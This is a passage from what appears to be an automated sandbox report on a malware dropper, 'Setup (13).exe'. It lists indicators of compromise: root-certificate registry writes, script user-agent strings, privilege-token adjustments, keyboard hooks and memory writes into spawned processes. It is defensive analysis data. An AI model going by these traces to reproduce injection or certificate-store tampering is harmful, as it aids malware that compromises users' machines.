01f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	md8_8eus.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	jooyu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	Setup (13).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	kfIG5AT7N7bku6DCVcUKDyTL.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	kfIG5AT7N7bku6DCVcUKDyTL.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	kfIG5AT7N7bku6DCVcUKDyTL.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	MTn5Z7krfBOM6F46mBh7hjWj.tmp
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	jooyu.exe

Script User-Agent 16 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	476	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	183	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	246	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	228	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	261	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	480	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	186	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	226	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	238	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	260	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	263	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	409	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	634	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	184	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	232	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	224	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Setup (13).exe6I_vHT5EjSdNM_mRzjVTQ4gl.exeWerFault.exeWerFault.exePJsFEwriHA049W5Sq0aMkE82.exetkNt1FFI1INKZONsPutfa8Km.exe6zT3pYege0XS1rsVjiHSFAft.exe3531479.exeWerFault.exe0ZRHTkgGEY56RpC79wWBJJ4t.exepLDbr7Bolu2CK0IobUjwDyuE.exemd8_8eus.exe4270126.exepLDbr7Bolu2CK0IobUjwDyuE.exe8259864.exe0ZRHTkgGEY56RpC79wWBJJ4t.exejfiag3g_gg.exeVQHBVoufah_RYhR8RcQIeE99.exe_XyBt1sQkewLWbmijnIKsfKi.exe

pid	process
520	Setup (13).exe
1988	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
2508	WerFault.exe
2508	WerFault.exe
2508	WerFault.exe
2508	WerFault.exe
2508	WerFault.exe
2508	WerFault.exe
2508	WerFault.exe
1272	WerFault.exe
2984	PJsFEwriHA049W5Sq0aMkE82.exe
1560	tkNt1FFI1INKZONsPutfa8Km.exe
1956	6zT3pYege0XS1rsVjiHSFAft.exe
2180	3531479.exe
1128	WerFault.exe
1128	WerFault.exe
1128	WerFault.exe
1128	WerFault.exe
1128	WerFault.exe
1128	WerFault.exe
1128	WerFault.exe
1128	WerFault.exe
1128	WerFault.exe
1560	tkNt1FFI1INKZONsPutfa8Km.exe
960	0ZRHTkgGEY56RpC79wWBJJ4t.exe
944	pLDbr7Bolu2CK0IobUjwDyuE.exe
944	pLDbr7Bolu2CK0IobUjwDyuE.exe
960	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1272	WerFault.exe
1956	6zT3pYege0XS1rsVjiHSFAft.exe
2380	md8_8eus.exe
2380	md8_8eus.exe
2492	4270126.exe
2672	pLDbr7Bolu2CK0IobUjwDyuE.exe
2744	8259864.exe
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1272	WerFault.exe
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
1260	jfiag3g_gg.exe
956	VQHBVoufah_RYhR8RcQIeE99.exe
832	_XyBt1sQkewLWbmijnIKsfKi.exe
832	_XyBt1sQkewLWbmijnIKsfKi.exe
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204
1204

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

0ZRHTkgGEY56RpC79wWBJJ4t.exe

pid process

1092 0ZRHTkgGEY56RpC79wWBJJ4t.exe
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

_XyBt1sQkewLWbmijnIKsfKi.exeZPnaJ0jBGqyAp2al1SXcHJmq.exe

pid process

832 _XyBt1sQkewLWbmijnIKsfKi.exe
2396 ZPnaJ0jBGqyAp2al1SXcHJmq.exe

pid	process
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe

pid	process
832	_XyBt1sQkewLWbmijnIKsfKi.exe
2396	ZPnaJ0jBGqyAp2al1SXcHJmq.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

Processes:

tp6rv4GUnxwK65DPdLg6bwct.exe6I_vHT5EjSdNM_mRzjVTQ4gl.exe3531479.exepLDbr7Bolu2CK0IobUjwDyuE.exeWerFault.exetkNt1FFI1INKZONsPutfa8Km.exe6zT3pYege0XS1rsVjiHSFAft.exeWerFault.exe8259864.exePJsFEwriHA049W5Sq0aMkE82.exe0ZRHTkgGEY56RpC79wWBJJ4t.exemd8_8eus.exetaskkill.exe4270126.exeWerFault.exepLDbr7Bolu2CK0IobUjwDyuE.exe0ZRHTkgGEY56RpC79wWBJJ4t.exetaskkill.exeUxeLcqzwTT96cu6eR281bVEO.exeVQHBVoufah_RYhR8RcQIeE99.exetaskkill.exePtECcJ1KaSEHPeMLhz4GGTwT.exePBrowFile15.exectfmon.exe2558543.exeZbZqCDAV1loBd_j5n722Wfsm.exe

description	pid	process
Token: SeDebugPrivilege	936	tp6rv4GUnxwK65DPdLg6bwct.exe
Token: SeDebugPrivilege	1988	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
Token: SeDebugPrivilege	2180	3531479.exe
Token: SeDebugPrivilege	944	pLDbr7Bolu2CK0IobUjwDyuE.exe
Token: SeDebugPrivilege	2508	WerFault.exe
Token: SeDebugPrivilege	1560	tkNt1FFI1INKZONsPutfa8Km.exe
Token: SeDebugPrivilege	1956	6zT3pYege0XS1rsVjiHSFAft.exe
Token: SeDebugPrivilege	1272	WerFault.exe
Token: SeDebugPrivilege	2744	8259864.exe
Token: SeDebugPrivilege	2984	PJsFEwriHA049W5Sq0aMkE82.exe
Token: SeDebugPrivilege	960	0ZRHTkgGEY56RpC79wWBJJ4t.exe
Token: SeDebugPrivilege	2380	md8_8eus.exe
Token: SeDebugPrivilege	1300	taskkill.exe
Token: SeDebugPrivilege	2492	4270126.exe
Token: SeDebugPrivilege	1128	WerFault.exe
Token: SeDebugPrivilege	2672	pLDbr7Bolu2CK0IobUjwDyuE.exe
Token: SeDebugPrivilege	1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe
Token: SeDebugPrivilege	2316	taskkill.exe
Token: SeDebugPrivilege	1272	WerFault.exe
Token: SeDebugPrivilege	740	UxeLcqzwTT96cu6eR281bVEO.exe
Token: SeDebugPrivilege	956	VQHBVoufah_RYhR8RcQIeE99.exe
Token: SeDebugPrivilege	2812	taskkill.exe
Token: SeDebugPrivilege	1592	PtECcJ1KaSEHPeMLhz4GGTwT.exe
Token: SeImpersonatePrivilege	1592	PtECcJ1KaSEHPeMLhz4GGTwT.exe
Token: SeShutdownPrivilege	1204
Token: SeDebugPrivilege	2672	PBrowFile15.exe
Token: SeDebugPrivilege	3080	ctfmon.exe
Token: SeDebugPrivilege	1780	2558543.exe
Token: SeDebugPrivilege	2196	ZbZqCDAV1loBd_j5n722Wfsm.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

MTn5Z7krfBOM6F46mBh7hjWj.tmpInlog.tmpCleaner Installation.exe

pid process

2060 MTn5Z7krfBOM6F46mBh7hjWj.tmp
1204
1204
2332 Inlog.tmp
2232 Cleaner Installation.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

0ZRHTkgGEY56RpC79wWBJJ4t.exe

pid process

1092 0ZRHTkgGEY56RpC79wWBJJ4t.exe

pid	process
2060	MTn5Z7krfBOM6F46mBh7hjWj.tmp
1204
1204
2332	Inlog.tmp
2232	Cleaner Installation.exe

pid	process
1092	0ZRHTkgGEY56RpC79wWBJJ4t.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Setup (13).exe

description	pid	process	target process
PID 520 wrote to memory of 1120	520	Setup (13).exe	ZPnaJ0jBGqyAp2al1SXcHJmq.exe
PID 520 wrote to memory of 1120	520	Setup (13).exe	ZPnaJ0jBGqyAp2al1SXcHJmq.exe
PID 520 wrote to memory of 1120	520	Setup (13).exe	ZPnaJ0jBGqyAp2al1SXcHJmq.exe
PID 520 wrote to memory of 1120	520	Setup (13).exe	ZPnaJ0jBGqyAp2al1SXcHJmq.exe
PID 520 wrote to memory of 740	520	Setup (13).exe	UxeLcqzwTT96cu6eR281bVEO.exe
PID 520 wrote to memory of 740	520	Setup (13).exe	UxeLcqzwTT96cu6eR281bVEO.exe
PID 520 wrote to memory of 740	520	Setup (13).exe	UxeLcqzwTT96cu6eR281bVEO.exe
PID 520 wrote to memory of 740	520	Setup (13).exe	UxeLcqzwTT96cu6eR281bVEO.exe
PID 520 wrote to memory of 1312	520	Setup (13).exe	PJsFEwriHA049W5Sq0aMkE82.exe
PID 520 wrote to memory of 1312	520	Setup (13).exe	PJsFEwriHA049W5Sq0aMkE82.exe
PID 520 wrote to memory of 1312	520	Setup (13).exe	PJsFEwriHA049W5Sq0aMkE82.exe
PID 520 wrote to memory of 1312	520	Setup (13).exe	PJsFEwriHA049W5Sq0aMkE82.exe
PID 520 wrote to memory of 1956	520	Setup (13).exe	6zT3pYege0XS1rsVjiHSFAft.exe
PID 520 wrote to memory of 1956	520	Setup (13).exe	6zT3pYege0XS1rsVjiHSFAft.exe
PID 520 wrote to memory of 1956	520	Setup (13).exe	6zT3pYege0XS1rsVjiHSFAft.exe
PID 520 wrote to memory of 1956	520	Setup (13).exe	6zT3pYege0XS1rsVjiHSFAft.exe
PID 520 wrote to memory of 1956	520	Setup (13).exe	6zT3pYege0XS1rsVjiHSFAft.exe
PID 520 wrote to memory of 1956	520	Setup (13).exe	6zT3pYege0XS1rsVjiHSFAft.exe
PID 520 wrote to memory of 1956	520	Setup (13).exe	6zT3pYege0XS1rsVjiHSFAft.exe
PID 520 wrote to memory of 1988	520	Setup (13).exe	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
PID 520 wrote to memory of 1988	520	Setup (13).exe	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
PID 520 wrote to memory of 1988	520	Setup (13).exe	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
PID 520 wrote to memory of 1988	520	Setup (13).exe	6I_vHT5EjSdNM_mRzjVTQ4gl.exe
PID 520 wrote to memory of 592	520	Setup (13).exe	obMsqGvOTRzyRGjXtWanN9D4.exe
PID 520 wrote to memory of 592	520	Setup (13).exe	obMsqGvOTRzyRGjXtWanN9D4.exe
PID 520 wrote to memory of 592	520	Setup (13).exe	obMsqGvOTRzyRGjXtWanN9D4.exe
PID 520 wrote to memory of 592	520	Setup (13).exe	obMsqGvOTRzyRGjXtWanN9D4.exe
PID 520 wrote to memory of 936	520	Setup (13).exe	tp6rv4GUnxwK65DPdLg6bwct.exe
PID 520 wrote to memory of 936	520	Setup (13).exe	tp6rv4GUnxwK65DPdLg6bwct.exe
PID 520 wrote to memory of 936	520	Setup (13).exe	tp6rv4GUnxwK65DPdLg6bwct.exe
PID 520 wrote to memory of 936	520	Setup (13).exe	tp6rv4GUnxwK65DPdLg6bwct.exe
PID 520 wrote to memory of 1560	520	Setup (13).exe	tkNt1FFI1INKZONsPutfa8Km.exe
PID 520 wrote to memory of 1560	520	Setup (13).exe	tkNt1FFI1INKZONsPutfa8Km.exe
PID 520 wrote to memory of 1560	520	Setup (13).exe	tkNt1FFI1INKZONsPutfa8Km.exe
PID 520 wrote to memory of 1560	520	Setup (13).exe	tkNt1FFI1INKZONsPutfa8Km.exe
PID 520 wrote to memory of 1560	520	Setup (13).exe	tkNt1FFI1INKZONsPutfa8Km.exe
PID 520 wrote to memory of 1560	520	Setup (13).exe	tkNt1FFI1INKZONsPutfa8Km.exe
PID 520 wrote to memory of 1560	520	Setup (13).exe	tkNt1FFI1INKZONsPutfa8Km.exe
PID 520 wrote to memory of 832	520	Setup (13).exe	_XyBt1sQkewLWbmijnIKsfKi.exe
PID 520 wrote to memory of 832	520	Setup (13).exe	_XyBt1sQkewLWbmijnIKsfKi.exe
PID 520 wrote to memory of 832	520	Setup (13).exe	_XyBt1sQkewLWbmijnIKsfKi.exe
PID 520 wrote to memory of 832	520	Setup (13).exe	_XyBt1sQkewLWbmijnIKsfKi.exe
PID 520 wrote to memory of 1260	520	Setup (13).exe	HkwqiVfR74ISvM3Zvhor9Yl9.exe
PID 520 wrote to memory of 1260	520	Setup (13).exe	HkwqiVfR74ISvM3Zvhor9Yl9.exe
PID 520 wrote to memory of 1260	520	Setup (13).exe	HkwqiVfR74ISvM3Zvhor9Yl9.exe
PID 520 wrote to memory of 1260	520	Setup (13).exe	HkwqiVfR74ISvM3Zvhor9Yl9.exe
PID 520 wrote to memory of 1584	520	Setup (13).exe	P416hFfmUUQedSvWsj9TAnBA.exe
PID 520 wrote to memory of 1584	520	Setup (13).exe	P416hFfmUUQedSvWsj9TAnBA.exe
PID 520 wrote to memory of 1584	520	Setup (13).exe	P416hFfmUUQedSvWsj9TAnBA.exe
PID 520 wrote to memory of 1584	520	Setup (13).exe	P416hFfmUUQedSvWsj9TAnBA.exe
PID 520 wrote to memory of 1592	520	Setup (13).exe	PtECcJ1KaSEHPeMLhz4GGTwT.exe
PID 520 wrote to memory of 1592	520	Setup (13).exe	PtECcJ1KaSEHPeMLhz4GGTwT.exe
PID 520 wrote to memory of 1592	520	Setup (13).exe	PtECcJ1KaSEHPeMLhz4GGTwT.exe
PID 520 wrote to memory of 1592	520	Setup (13).exe	PtECcJ1KaSEHPeMLhz4GGTwT.exe
PID 520 wrote to memory of 1912	520	Setup (13).exe	kfIG5AT7N7bku6DCVcUKDyTL.exe
PID 520 wrote to memory of 1912	520	Setup (13).exe	kfIG5AT7N7bku6DCVcUKDyTL.exe
PID 520 wrote to memory of 1912	520	Setup (13).exe	kfIG5AT7N7bku6DCVcUKDyTL.exe
PID 520 wrote to memory of 1912	520	Setup (13).exe	kfIG5AT7N7bku6DCVcUKDyTL.exe
PID 520 wrote to memory of 1740	520	Setup (13).exe	K1DUrXYWlc07y4_tsnkri7BM.exe
PID 520 wrote to memory of 1740	520	Setup (13).exe	K1DUrXYWlc07y4_tsnkri7BM.exe
PID 520 wrote to memory of 1740	520	Setup (13).exe	K1DUrXYWlc07y4_tsnkri7BM.exe
PID 520 wrote to memory of 1740	520	Setup (13).exe	K1DUrXYWlc07y4_tsnkri7BM.exe
PID 520 wrote to memory of 944	520	Setup (13).exe	pLDbr7Bolu2CK0IobUjwDyuE.exe
